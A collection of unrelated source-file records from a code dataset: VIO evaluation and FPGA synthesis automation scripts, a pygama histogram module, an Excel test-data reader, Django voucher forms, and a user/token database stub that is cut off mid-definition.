rpg_eval_tool_wrap.change_eval_cfg(eval_config_file, gt_align_type, -1)\n\n custom_vio_config = self.create_vio_config_yaml(output_dir_mission)\n custom_lcd_config = self.create_lcd_config_yaml(output_dir_mission)\n\n for trial_index in range(self.num_trials):\n if self.num_trials == 1:\n index_str = ''\n else:\n index_str = '{}'.format(trial_index)\n\n output_dir_trial = os.path.join(\n output_dir_mission, '{}{}'.format(self.algo_code_flags[\"algo_code\"], index_str))\n dir_utility_functions.mkdir_p(output_dir_trial)\n\n out_stream = open(os.path.join(output_dir_trial, \"out.log\"), 'w')\n err_stream = open(os.path.join(output_dir_trial, \"err.log\"), 'w')\n\n cmd = self.create_vio_command(algo_name, dataset_code, bag_fullname,\n custom_vio_config, custom_lcd_config, output_dir_trial)\n\n rc, msg = RunOneVioMethod.run_vio_command(cmd, bag_fullname, log_vio, out_stream, err_stream)\n if rc != 0:\n err_msg = \"Return error code {} and msg {} in running vio method with cmd:\\n{}\". \\\n format(rc, msg, cmd)\n warnings.warn(textwrap.fill(err_msg, 120))\n return_code = rc\n\n cmd = self.create_convert_command(output_dir_mission, output_dir_trial,\n index_str, pose_conversion_script)\n\n RunOneVioMethod.run_convert_command(cmd, out_stream, err_stream)\n\n roscore_manager.stop_roscore()\n return return_code\n","sub_path":"evaluation/RunOneVioMethod.py","file_name":"RunOneVioMethod.py","file_ext":"py","file_size_in_byte":18741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"452059013","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport scipy.io\nimport numpy as np\nimport os\nimport re\nimport time\nfrom ctypes import * \n\n\n# In[2]:\n\n\nSignal = 'Deepsig'\nsignal = 'deepsig'\nresultname = Signal+'FAMAmp100saveresult5_testv4.mat'\nmat = scipy.io.loadmat(resultname)['result_save'][0,:][0][0][:,[0,1,2,3,6,7,8]]\n\n\n# In[3]:\n\n\nidxn = mat.shape[0]\nidxi = mat.shape[1]\nparamn = np.zeros((4,))\nparamm = np.zeros((3,))\ncpath = os.getcwd()\n\n\n# In[13]:\n\n\ndef writefile(fname, n,m):\n fd = open(fname, 'w')\n L = ['#ifndef _AUTO_H_\\n','#define _AUTO_H_\\n',\n '#define Wf {}'.format(n[0]),'\\n',\n '#define F1f {}'.format(n[1]),'\\n',\n '#define CMf {}'.format(n[2]),'\\n',\n '#define F2f {}'.format(n[3]),'\\n',\n '#define fileinput \"', cpath,'/',signal,'.dat\"\\n',\n '#define fileresult \"', cpath,'/Result/',signal,'_float_result_full{}{}{}{}.dat\"\\n'.format(n[0],n[1],n[2],n[3]),\n '#define filename \"',cpath,'/Result/',Signal,'/FAM',signal,'{}'.format(n[0]),\n '{}'.format(n[1]),'{}'.format(n[2]),'{}'.format(n[3]), '.dat\"\\n',\n '#define errorfile \"',cpath,'/Result/SCDerror.dat\"\\n',\n '#define coef_FF1 {}'.format(m[0]),'\\n',\n '#define coef_CM {}'.format(m[1]),'\\n',\n '#define coef_FF2 {}'.format(m[2]),'\\n',\n '#endif']\n fd.writelines(L)\n fd.close()\n \ndef writetcl(fname,n):\n fd = open(fname, 'w')\n L = ['open_project -reset {}'.format(n[0]),'\\n',\n 'set_top {}'.format(n[1]),'\\n',\n 'add_files {} \\n'.format(n[8]),\n #'add_files -tb {} \\n'.format(n[9]),\n 'open_solution \\\"solution_{}_{}_{}{}{}{}\\\"'.format(n[2],n[3],n[4],n[5],n[6],n[7]),'\\n',\n 'set_part {xczu28dr-ffvg1517-2-e} \\n',\n 'create_clock -period {} -name default'.format(n[3]),'\\n',\n #'csim_design\\n',\n 'csynth_design\\n',\n #'cosim_design\\n',\n 'export_design -format ip_catalog\\n'\n ]\n fd.writelines(L)\n fd.close()\ndef execute_command(s):\n os.system(s)\n\n\n# In[ ]:\n\nSIZE = 'Quarter' # change size in types.h to 1\n#SIZE = 'Full' # change size in types.h to 1\nProjectname = ['SynSCD'+SIZE,'SynM2M'+SIZE,'SynM2O'+SIZE]\n#Projectname = ['SynSCDFull','SynM2MFull','SynM2OFull']\nTopmodel = ['model_SCD','Multi2Multi','Multi2One']\naddfiles = ['SplitIP_SCD_matrix.cpp','SplitIP_Multi2Multi_thred.cpp','SplitIP_Multi2One_thred.cpp']\ntestbenchs = ['SplitIP_SCD_matrix_TB.cpp', 'SplitIP_Multi2Multi_thred_TB.cpp','SplitIP_Multi2One_thred_TB.cpp']\nfor n in range(3,4):\n for i in range(idxi):\n if i<4:\n paramn[i] = int(mat[n,i][0][0])\n else:\n paramm[i-4] = mat[n,i][0][0]\n paramn = paramn.astype(int)\n writefile('auto.h', paramn,paramm)\n print('Generate auto.h for {} {}{}{}{}'.format(SIZE, paramn[0], paramn[1], paramn[2], paramn[3]))\n #os.system('matlab -nodisplay -r \"cd(\\''+cpath+'/matlab/\\'); verify_func({},{},{},{});exit\"'.format(paramn[0],paramn[1],paramn[2],paramn[3]))\n #sys.exit()\n periods= [3]\n board = 111\n for p in periods:\n for idx in range(3):\n paramp = [Projectname[idx], Topmodel[idx], board, p, paramn[0], paramn[1], paramn[2], paramn[3],addfiles[idx],testbenchs[idx]]\n tempfile = './'+Projectname[idx]+'/solution_{}_{}_{}{}{}{}/impl/ip/xilinx_com_hls_{}_1_0.zip'.format(paramp[2],paramp[3],paramn[0], paramn[1], paramn[2], paramn[3],paramp[1])\n if os.path.exists(tempfile):\n print('Skip solution_{}_{}_{}{}{}{}'.format(paramp[2],paramp[3],paramn[0], paramn[1], paramn[2], paramn[3]))\n #sys.exit()\n else:\n #sys.exit()\n print('Run solution_{}_{}_{}{}{}{}'.format(paramp[2],paramp[3],paramn[0], paramn[1], paramn[2], paramn[3]))\n writetcl('Synthesis.tcl',paramp)\n execute_command('vivado_hls Synthesis.tcl') # replace with 'vivado_hls run_sim.tcl'\n #fix SCD_Inter.tcl\n #sys.exit() \n try:\n os.rename('SCD_Inter.tcl','SCD_Inter2.tcl') \n f1 = open('SCD_Inter2.tcl','r+')\n f2 = open('SCD_Inter.tcl','w+')\n count = 0\n for ss in f1.readlines():\n if count==50:\n f2.write(' {}/SynSCD{}/solution_111_3_{}{}{}{}/impl \\\\'.format(cpath,SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n f2.write('\\n')\n elif count==51:\n f2.write(' {}/SynM2O{}/solution_111_3_{}{}{}{}/impl \\\\'.format(cpath,SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n f2.write('\\n')\n elif count==52:\n f2.write(' {}/SynM2M{}/solution_111_3_{}{}{}{}/impl \\\\'.format(cpath,SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n f2.write('\\n')\n else:\n f2.write(ss)\n count=count+1\n finally:\n print(\"finish to write\") \n f1.close() \n f2.close() \n execute_command('rm SCD_Inter2.tcl') \n \n print(\"Try to run vivado\")\n #sys.exit() \n execute_command('make clean')\n execute_command('make all')\n #sys.exit() \n execute_command('mv ./Jupyter/SCD_Inter.bit ./Jupyter/SCD_Inter_{}_{}{}{}{}.bit'.format(SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n execute_command('mv ./Jupyter/SCD_Inter.hwh ./Jupyter/SCD_Inter_{}_{}{}{}{}.hwh'.format(SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n execute_command('mv ./SCD_Inter/SCD_Inter.runs/impl_1/SCD_Inter_wrapper_utilization_placed.rpt ./Result/Interface_report/{}/{}{}{}{}_utilize.rpt'.format(SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n execute_command('mv ./SCD_Inter/SCD_Inter.runs/impl_1/SCD_Inter_wrapper_timing_summary_routed.rpt ./Result/Interface_report/{}/{}{}{}{}_timing.rpt'.format(SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n execute_command('mv ./SCD_Inter/SCD_Inter.runs/impl_1/SCD_Inter_wrapper_power_routed.rpt ./Result/Interface_report/{}/{}{}{}{}_power.rpt'.format(SIZE,paramn[0], paramn[1], paramn[2], paramn[3]))\n\n #sys.exit()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Quarter/FullFlow_syn.py","file_name":"FullFlow_syn.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"284103250","text":"import json\n\nf = open(\"../data.json\")\ns = set()\ncnt = 0\nfor line in f:\n\tcnt = cnt + 1\n\td_entry = json.loads(line.strip())\n\tvenue = d_entry.get('venue', None)\n\tyear = d_entry.get('year', None)\n\tprint(year, venue)","sub_path":"proj-3/3/venues_get.py","file_name":"venues_get.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"133502265","text":"\"\"\"\npygama convenience functions for 1D histograms.\n\n1D hists in pygama require 3 things available from all implementations\nof 1D histograms of numerical data in python: hist, bins, and var:\n- hist: an array of histogram values\n- bins: an array of bin edges\n- var: an array of variances in each bin\nIf var is not provided, pygama assuems that the hist contains \"counts\" with\nvariance = counts (Poisson stats)\n\nThese are just convenience functions, provided for your convenience. Hopefully\nthey will help you if you need to do something trickier than is provided (e.g.\n2D hists).\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import rcParams\n\nimport pygama.math.utils as pgu\n\n\ndef get_hist(data, bins=None, range=None, dx=None, wts=None):\n \"\"\"return hist, bins, var after binning data\n\n This is just a wrapper for numpy.histogram, with optional weights for each\n element and proper computing of variances.\n\n Note: there are no overflow / underflow bins.\n\n Available binning methods:\n\n - Default (no binning arguments) : 100 bins over an auto-detected range\n - bins=N, range=(x_lo, x_hi) : N bins over the specified range (or leave\n range=None for auto-detected range)\n - bins=[str] : use one of np.histogram's automatic binning algorithms\n - bins=bin_edges_array : array lower bin edges, supports non-uniform binning\n - dx=dx, range=(x_lo, x_hi): bins of width dx over the specified range.\n Note: dx overrides the bins argument!\n\n Parameters\n ----------\n data : array like\n The array of data to be histogrammed\n bins : int, array, or str (optional)\n int: the number of bins to be used in the histogram\n array: an array of bin edges to use\n str: the name of the np.histogram automatic binning algorithm to use\n If not provided, np.histogram's default auto-binning routine is used\n range : tuple (float, float) (optional)\n (x_lo, x_high) is the tuple of low and high x values to uses for the\n very ends of the bin range. If not provided, np.histogram chooses the\n ends based on the data in data\n dx : float (optional)\n Specifies the bin width. Overrides \"bins\" if both arguments are present\n wts : float or array like (optional)\n Array of weights for each bin. For example, if you want to divide all\n bins by a time T to get the bin contents in count rate, set wts = 1/T.\n Variances will be computed for each bin that appropriately account for\n each data point's weighting.\n\n Returns\n -------\n hist : array\n the values in each bin of the histogram\n bins : array\n an array of bin edges: bins[i] is the lower edge of the ith bin.\n Note: it includes the upper edge of the last bin and does not\n include underflow or overflow bins. So len(bins) = len(hist) + 1\n var : array\n array of variances in each bin of the histogram\n \"\"\"\n if bins is None:\n bins = 100 # override np.histogram default of just 10\n\n if dx is not None:\n bins = int((range[1] - range[0]) / dx)\n\n # bins includes left edge of first bin and right edge of all other bins\n # allow scalar weights\n if wts is not None and np.shape(wts) == (): wts = np.full_like(data, wts)\n hist, bins = np.histogram(data, bins=bins, range=range, weights=wts)\n\n if wts is None:\n # no weights: var = hist, but return a copy so that mods to var don't\n # modify hist.\n # Note: If you don't want a var copy, just call np.histogram()\n return hist, bins, hist.copy()\n else:\n # get the variances by binning with double the weight\n var, bins = np.histogram(data, bins=bins, weights=wts*wts)\n return hist, bins, var\n\n\ndef better_int_binning(x_lo=0, x_hi=None, dx=None, n_bins=None):\n \"\"\" Get a good binning for integer data.\n\n Guarantees an integer bin width.\n\n At least two of x_hi, dx, or n_bins must be provided.\n\n Parameters\n ----------\n x_lo : float\n Desired low x value for the binning\n x_hi : float\n Desired high x value for the binning\n dx : float\n Desired bin width\n n_bins : float\n Desired number of bins\n\n Returns\n -------\n x_lo: int\n int values for best x_lo\n x_hi: int\n int values for best x_hi, returned if x_hi is not None\n dx : int\n best int bin width, returned if arg dx is not None\n n_bins : int\n best int n_bins, returned if arg n_bins is not None\n \"\"\"\n # process inputs\n n_Nones = int(x_hi is None) + int(dx is None) + int(n_bins is None)\n if n_Nones > 1:\n print('better_int_binning: must provide two of x_hi, dx or n_bins')\n return\n if n_Nones == 0:\n print('better_int_binning: overconstrained. Ignoring x_hi.')\n x_hi = None\n\n # get valid dx or n_bins\n if dx is not None:\n if dx <= 0:\n print(f'better_int_binning: invalid dx={dx}')\n return\n dx = np.round(dx)\n if dx == 0: dx = 1\n if n_bins is not None:\n if n_bins <= 0:\n print(f'better_int_binning: invalid n_bins={n_bins}')\n return\n n_bins = np.round(n_bins)\n\n # can already return if no x_hi\n if x_hi is None: # must have both dx and n_bins\n return int(x_lo), int(dx), int(n_bins)\n\n # x_hi is valid. Get a valid dx if we don't have one\n if dx is None: # must have n_bins\n dx = np.round((x_hi-x_lo)/n_bins)\n if dx == 0: dx = 1\n\n # Finally, build a good binning from dx\n n_bins = np.ceil((x_hi-x_lo)/dx)\n x_lo = np.floor(x_lo)\n x_hi = x_lo + n_bins*dx\n if n_bins is None: return int(x_lo), int(x_hi), int(dx)\n else: return int(x_lo), int(x_hi), int(n_bins)\n\n\ndef get_bin_centers(bins):\n \"\"\"\n Returns an array of bin centers from an input array of bin edges.\n Works for non-uniform binning. Note: a new array is allocated\n\n Parameters:\n \"\"\"\n return (bins[:-1] + bins[1:]) / 2.\n\n\ndef get_bin_widths(bins):\n \"\"\"\n Returns an array of bin widths from an input array of bin edges.\n Works for non-uniform binning.\n \"\"\"\n return (bins[1:] - bins[:-1])\n\n\ndef find_bin(x, bins):\n \"\"\"\n Returns the index of the bin containing x\n Returns -1 for underflow, and len(bins) for overflow\n For uniform bins, jumps directly to the appropriate index.\n For non-uniform bins, binary search is used.\n \"\"\"\n # first handle overflow / underflow\n if len(bins) == 0: return 0 # i.e. overflow\n if x < bins[0]: return -1\n if x > bins[-1]: return len(bins)\n\n # we are definitely in range, and there are at least 2 bin edges, one below\n # and one above x. try assuming uniform bins\n dx = bins[1]-bins[0]\n index = int(np.floor((x-bins[0])/dx))\n if bins[index] <= x and bins[index+1] > x: return index\n\n # bins are non-uniform: find by binary search\n return np.searchsorted(bins, x, side='right')\n\n\ndef range_slice(x_min, x_max, hist, bins, var=None):\n i_min = find_bin(x_min, bins)\n i_max = find_bin(x_max, bins)\n if var is not None: var = var[i_min:i_max]\n return hist[i_min:i_max], bins[i_min:i_max+1], var\n\n\ndef get_fwhm(hist, bins, var=None, mx=None, dmx=0, bl=0, dbl=0, method='bins_over_f', n_slope=3):\n \"\"\"Estimate the FWHM of data in a histogram\n\n See Also\n --------\n get_fwfm : for parameters and return values\n \"\"\"\n if len(bins) == len(hist):\n print(\"note: this function has been updated to require bins rather\",\n \"than bin_centers. Don't trust this result\")\n return get_fwfm(0.5, hist, bins, var, mx, dmx, bl, dbl, method, n_slope)\n\n\ndef get_fwfm(fraction, hist, bins, var=None, mx=None, dmx=0, bl=0, dbl=0, method='bins_over_f', n_slope=3):\n \"\"\"\n Estimate the full width at some fraction of the max of data in a histogram\n\n Typically used by sending slices around a peak. Searches about argmax(hist)\n for the peak to fall by [fraction] from mx to bl\n\n Parameters\n ----------\n fraction : float\n The fractional amplitude at which to evaluate the full width\n hist : array-like\n The histogram data array containing the peak\n bins : array-like\n An array of bin edges for the histogram\n var : array-like (optional)\n An array of histogram variances. Used with the 'fit_slopes' method\n mx : float or tuple(float, float) (optional)\n The value to use for the max of the peak. If None, np.amax(hist) is\n used.\n dmx : float (optional)\n The uncertainty in mx\n bl : float or tuple (float, float) (optional)\n Used to specify an offset from which to estimate the FWFM.\n dbl : float (optional)\n The uncertainty in the bl\n method : string\n 'bins_over_f' : the simplest method: just take the difference in the bin\n centers that are over [fraction] of max. Only works for high stats and\n FWFM/bin_width >> 1\n 'interpolate' : interpolate between the bins that cross the [fration]\n line. Works well for high stats and a reasonable number of bins.\n Uncertainty incorporates var, if provided.\n 'fit_slopes' : fit over n_slope bins in the vicinity of the FWFM and\n interpolate to get the fractional crossing point. Works okay even\n when stats are moderate but requires enough bins that dx traversed\n by n_slope bins is approximately linear. Incorporates bin variances\n in fit and final uncertainties if provided.\n n_slope : int\n DOCME\n\n Returns\n -------\n fwfm, dfwfm : float, float\n fwfm: the full width at [fraction] of the maximum above bl\n dfwfm: the uncertainty in fwfm\n\n Examples\n --------\n >>> import pygama.analysis.histograms as pgh\n >>> from numpy.random import normal\n >>> hist, bins, var = pgh.get_hist(normal(size=10000), bins=100, range=(-5,5))\n >>> pgh.get_fwfm(0.5, hist, bins, var, method='bins_over_f')\n (2.2, 0.15919638684132664) # may vary\n\n >>> pgh.get_fwfm(0.5, hist, bins, var, method='interpolate')\n (2.2041666666666666, 0.09790931254396479) # may vary\n\n >>> pgh.get_fwfm(0.5, hist, bins, var, method='fit_slopes')\n (2.3083363869003466, 0.10939486522749278) # may vary\n \"\"\"\n\n # find bins over [fraction]\n if mx is None:\n mx = np.amax(hist)\n if var is not None and dmx == 0:\n dmx = np.sqrt(var[np.argmax(hist)])\n idxs_over_f = hist > (bl + fraction * (mx-bl))\n\n # argmax will return the index of the first occurrence of a maximum\n # so we can use it to find the first and last time idxs_over_f is \"True\"\n bin_lo = np.argmax(idxs_over_f)\n bin_hi = len(idxs_over_f) - np.argmax(idxs_over_f[::-1])\n bin_centers = get_bin_centers(bins)\n\n # precalc dheight: uncertainty in height used as the threshold\n dheight2 = (fraction*dmx)**2 + ((1-fraction)*dbl)**2\n\n if method == 'bins_over_f':\n # the simplest method: just take the difference in the bin centers\n fwfm = bin_centers[bin_hi] - bin_centers[bin_lo]\n\n # compute rough uncertainty as [bin width] (+) [dheight / slope]\n dx = bin_centers[bin_lo] - bin_centers[bin_lo-1]\n dy = hist[bin_lo] - hist[bin_lo-1]\n if dy == 0: dy = (hist[bin_lo+1] - hist[bin_lo-2])/3\n dfwfm2 = dx**2 + dheight2 * (dx/dy)**2\n dx = bin_centers[bin_hi+1] - bin_centers[bin_hi]\n dy = hist[bin_hi] - hist[bin_hi+1]\n if dy == 0: dy = (hist[bin_hi-1] - hist[bin_hi+2])/3\n dfwfm2 += dx**2 + dheight2 * (dx/dy)**2\n return fwfm, np.sqrt(dfwfm2)\n\n elif method == 'interpolate':\n # interpolate between the two bins that cross the [fraction] line\n # works well for high stats\n if bin_lo < 1 or bin_hi >= len(hist)-1:\n print(f\"get_fwhm: can't interpolate ({bin_lo}, {bin_hi})\")\n return 0, 0\n\n val_f = bl + fraction*(mx-bl)\n\n # x_lo\n dx = bin_centers[bin_lo] - bin_centers[bin_lo-1]\n dhf = val_f - hist[bin_lo-1]\n dh = hist[bin_lo] - hist[bin_lo-1]\n x_lo = bin_centers[bin_lo-1] + dx * dhf/dh\n # uncertainty\n dx2_lo = 0\n if var is not None:\n dx2_lo = (dhf/dh)**2 * var[bin_lo] + ((dh-dhf)/dh)**2 * var[bin_lo-1]\n dx2_lo *= (dx/dh)**2\n dDdh = -dx/dh\n\n # x_hi\n dx = bin_centers[bin_hi+1] - bin_centers[bin_hi]\n dhf = hist[bin_hi] - val_f\n dh = hist[bin_hi] - hist[bin_hi+1]\n if dh == 0:\n raise ValueError(f\"get_fwhm: interpolation failed, dh == 0\")\n x_hi = bin_centers[bin_hi] + dx * dhf/dh\n if x_hi < x_lo:\n raise ValueError(f\"get_fwfm: interpolation produced negative fwfm\")\n # uncertainty\n dx2_hi = 0\n if var is not None:\n dx2_hi = (dhf/dh)**2 * var[bin_hi+1] + ((dh-dhf)/dh)**2 * var[bin_hi]\n dx2_hi *= (dx/dh)**2\n dDdh += dx/dh\n\n return x_hi - x_lo, np.sqrt(dx2_lo + dx2_hi + dDdh**2 * dheight2)\n\n elif method == 'fit_slopes':\n # evaluate the [fraction] point on a line fit to n_slope bins near the crossing.\n # works okay even when stats are moderate\n val_f = bl + fraction*(mx-bl)\n\n # x_lo\n i_0 = bin_lo - int(np.floor(n_slope/2))\n if i_0 < 0:\n print(f\"get_fwfm: fit slopes failed\")\n return 0, 0\n i_n = i_0 + n_slope\n wts = None if var is None else 1/np.sqrt(var[i_0:i_n]) #fails for any var = 0\n wts = [w if w != np.inf else 0 for w in wts]\n\n try:\n (m, b), cov = np.polyfit(bin_centers[i_0:i_n], hist[i_0:i_n], 1, w=wts, cov='unscaled')\n except np.linalg.LinAlgError:\n print(f\"get_fwfm: LinAlgError\")\n return 0, 0\n x_lo = (val_f-b)/m\n #uncertainty\n dxl2 = cov[0,0]/m**2 + (cov[1,1] + dheight2)/(val_f-b)**2 + 2*cov[0,1]/(val_f-b)/m\n dxl2 *= x_lo**2\n\n # x_hi\n i_0 = bin_hi - int(np.floor(n_slope/2)) + 1\n if i_0 == len(hist):\n print(f\"get_fwfm: fit slopes failed\")\n return 0, 0\n\n i_n = i_0 + n_slope\n wts = None if var is None else 1/np.sqrt(var[i_0:i_n])\n wts = [w if w != np.inf else 0 for w in wts]\n try:\n (m, b), cov = np.polyfit(bin_centers[i_0:i_n], hist[i_0:i_n], 1, w=wts, cov='unscaled')\n except np.linalg.LinAlgError:\n print(f\"get_fwfm: LinAlgError\")\n return 0, 0\n x_hi = (val_f-b)/m\n if x_hi < x_lo:\n print(f\"get_fwfm: fit slopes produced negative fwfm\")\n return 0, 0\n\n #uncertainty\n dxh2 = cov[0,0]/m**2 + (cov[1,1] + dheight2)/(val_f-b)**2 + 2*cov[0,1]/(val_f-b)/m\n dxh2 *= x_hi**2\n\n return x_hi - x_lo, np.sqrt(dxl2 + dxh2)\n\n else:\n print(f\"get_fwhm: unrecognized method {method}\")\n return 0, 0\n\n\ndef plot_hist(hist, bins, var=None, show_stats=False, stats_hloc=0.75, stats_vloc=0.85, fill=False, fillcolor='r', fillalpha=0.2, **kwargs):\n \"\"\"\n plot a step histogram, with optional error bars\n \"\"\"\n if fill:\n # the concat calls get the steps to draw correctly at the range boundaries\n # where=\"post\" tells plt to draw the step y[i] between x[i] and x[i+1]\n save_color = None\n if 'color' in kwargs: save_color = kwargs.pop('color')\n elif 'c' in kwargs: save_color = kwargs.pop('c')\n plt.fill_between(np.concatenate(([bins[0]], bins)), np.concatenate(([0], hist, [0])), step=\"post\", color=fillcolor, alpha=fillalpha, **kwargs)\n if save_color is not None: kwargs['color'] = save_color\n if var is None:\n # the concat calls get the steps to draw correctly at the range boundaries\n # where=\"post\" tells plt to draw the step y[i] between x[i] and x[i+1]\n plt.step(np.concatenate(([bins[0]], bins)), np.concatenate(([0], hist, [0])), where=\"post\", **kwargs)\n else:\n plt.errorbar(get_bin_centers(bins), hist,\n xerr=get_bin_widths(bins) / 2, yerr=np.sqrt(var),\n fmt='none', **kwargs)\n if show_stats is True:\n bin_centers = get_bin_centers(bins)\n N = np.sum(hist)\n if N <= 1:\n print(\"can't compute sigma for N =\", N)\n return\n mean = np.sum(hist*bin_centers)/N\n x2ave = np.sum(hist*bin_centers*bin_centers)/N\n stddev = np.sqrt(N/(N-1) * (x2ave - mean*mean))\n dmean = stddev/np.sqrt(N)\n\n mean, dmean = pgu.get_formatted_stats(mean, dmean, 2)\n stats = f'$\\\\mu={mean} \\\\pm {dmean}$\\n$\\\\sigma={stddev:#.3g}$'\n stats_fontsize = rcParams['legend.fontsize']\n plt.text(stats_hloc, stats_vloc, stats, transform=plt.gca().transAxes, fontsize = stats_fontsize)\n\n\ndef get_gaussian_guess(hist, bins):\n \"\"\"\n given a hist, gives guesses for mu, sigma, and amplitude\n \"\"\"\n if len(bins) == len(hist):\n print(\"note: this function has been updated to require bins rather\",\n \"than bin_centers. Don't trust this result\")\n\n max_idx = np.argmax(hist)\n guess_e = (bins[max_idx] + bins[max_idx])/2 # bin center\n guess_amp = hist[max_idx]\n\n # find 50% amp bounds on both sides for a FWHM guess\n guess_sigma = get_fwhm(hist, bins)[0] / 2.355 # FWHM to sigma\n guess_area = guess_amp * guess_sigma * np.sqrt(2 * np.pi)\n\n return (guess_e, guess_sigma, guess_area)\n","sub_path":"src/pygama/math/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":17411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"422363307","text":"# -*- coding: utf-8 -*-\n# 1:完成注册手机号码的初始化操作:修改Excel\n# 第一种操作:利用Excel设置初始化手机号码,每次进行+1操作,以及变量替换。记得做数据演示。\n# 第二种操作:每次从数据库里面查询最大的手机号码,在这个基础上加1(后期自己操作)\n# 第三种操作:每次清除完这个手机号码相关的数据,进行垃圾数据重置操作。 当前时间戳生成手机号码 参数替换完成 ${变量名}\n\nfrom openpyxl import load_workbook\nfrom common import project_path\nfrom common.read_config import ReadConfig\nfrom common.do_re import Do_re\nclass DoExcel:\n '''完成测试数据的读取以及测试结果的写回'''\n\n def __init__(self,file_name,sheet_name):\n self.file_name=file_name #Excel工作簿文件名或地址\n self.sheet_name=sheet_name\n\n def read_data(self,section):\n '''从Excel读取数据,有返回值'''\n #拿到配置文件的case_id\n case_id=ReadConfig().get_data(section,'case_id')\n wb=load_workbook(self.file_name)\n st=wb[self.sheet_name]\n # tel=wb['tel'].cell(1,2).value\n tel=self.get_tel()\n # print(type(tel))\n #开始读取数据,\n test_data=[]\n for i in range(2,st.max_row+1): # 每行\n row_data={} # 每行的存到字典中,以每列的title作为key\n row_data['CaseId']=st.cell(i,1).value\n row_data['Module']=st.cell(i,2).value #第一列\n row_data['Title']=st.cell(i,3).value\n row_data['Url']=st.cell(i,4).value\n row_data['Method']=st.cell(i,5).value\n if st.cell(i,6).value.find('tel') != -1: #使用find函数,不存在返回-1,存在即!= -1\n # if 'tel' in st.cell(i, 6).value: #也可用成员运算符\n row_data['Params']=st.cell(i,6).value.replace('tel',str(tel))\n self.update_tel(tel+1)\n else:\n row_data['Params'] = st.cell(i, 6).value\n # # 直接调用正则 查找替换\n # p = '#(.*?)#'\n # Do_re().do_re(p,)\n\n # print(st.cell(1,7).value)\n if st.cell(1,7).value == 'Sql': #判断是否有sql列--- 第一列是否是Sql\n row_data['Sql']=st.cell(i,7).value #加的sql列\n row_data['ExpectedResult'] = st.cell(i, 8).value\n else:\n row_data['ExpectedResult']=st.cell(i,7).value\n\n test_data.append(row_data)\n wb.close()\n final_test_data=[] #存最终的用例数据\n # 根据配置文件执行指定的用例\n if case_id == 1: #等于1,执行所有用例\n final_test_data=test_data\n # 否则,如果是列表,获取列表里的数字执行指定的用例\n else:\n for i in case_id: #遍历配置文件中case_id的值\n final_test_data.append(test_data[i-1]) #case_id=1,为test_data的第一条用例\n return final_test_data\n\n def update_tel(self,new_tel):\n '''更新tel的值'''\n wb=load_workbook(self.file_name)\n st=wb['tel']\n st.cell(1,2).value=new_tel\n wb.save(self.file_name)\n wb.close()\n def get_tel(self):\n '''获取tel的值'''\n wb=load_workbook(self.file_name)\n st=wb['tel']\n wb.close()\n tel=st.cell(1,2).value\n return tel #返回tel的值\n\n def write_back(self,row,col,value):\n '''写回测试结果到Excel中'''\n wb=load_workbook(self.file_name)\n st=wb[self.sheet_name]\n st.cell(row,col).value=value\n # sheet.cell(3, 2, '作者:李白')\n wb.save(self.file_name)\n wb.close()\n\nif __name__ == '__main__':\n file_name=project_path.case_path\n sheet_name='Login'\n test_data=DoExcel(file_name,sheet_name).read_data('LoginCase')\n # print(test_data)\n # 直接调用正则 查找替换\n p = '#(.*?)#'\n print(Do_re().do_re(p,str(test_data)))\n\n","sub_path":"common/do_excel.py","file_name":"do_excel.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"321380917","text":"from django import forms\n\nfrom localflavor.us.us_states import US_STATES\nfrom recordlocator.generator import SAFE_ALPHABET\n\n# The U.S. states including DC and Puerto Rico\nSTATES_AND_PR = US_STATES + (('AS', 'American Somoa'), ('GU', 'Guam'), ('PR', 'Puerto Rico'), ('VI', 'Virgin Islands'))\nSTATES_AND_PR = sorted(STATES_AND_PR, key=lambda x: x[1])\n\nclass StateSelect(forms.Select):\n \"\"\" A Select widget that uses a list of U.S. states including Puerto Rico.\n It excludes most other territories. \"\"\"\n\n def __init__(self, attrs=None):\n super(StateSelect, self).__init__(attrs, choices=STATES_AND_PR)\n\n\nclass FederalSiteStateForm(forms.Form):\n state = forms.CharField(label=\"State\", widget=StateSelect())\n\n\nclass VoucherEntryForm(forms.Form):\n voucher_id = forms.CharField(label='Voucher ID', max_length=25)\n\n def clean_voucher_id(self):\n voucher_id = self.cleaned_data['voucher_id']\n voucher_id = voucher_id.strip().upper()\n\n if len(voucher_id) > 16:\n raise forms.ValidationError('ID is too long')\n elif len(voucher_id) < 8:\n raise forms.ValidationError('ID is too short')\n\n candidate = voucher_id\n if '-' in voucher_id:\n candidate = voucher_id.split()\n\n for c in candidate:\n if c not in SAFE_ALPHABET:\n raise forms.ValidationError('Unexpected character in ID')\n\n return voucher_id\n","sub_path":"ekip/redemption/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"348892937","text":"from ...service.storage import index\nfrom app.service.storage.elastic import Elastic\n\n\nclass UserDb:\n def __init__(self):\n self.users_db = [\n {\n \"username\": \"admin\",\n \"password\": \"admin\",\n \"full_name\": \"Admin\",\n \"email\": \"johndoe@example.com\",\n \"roles\": [\"admin\"],\n \"disabled\": False\n }\n ]\n\n def get_user(self, username):\n for record in self.users_db:\n if record['username'] == username:\n return record\n return None\n\n def __contains__(self, item):\n return self.get_user(item)\n\n\nclass TokenDb:\n\n def __init__(self):\n self._elastic = Elastic.instance()\n self._index = index.resources['token'].name\n\n async def 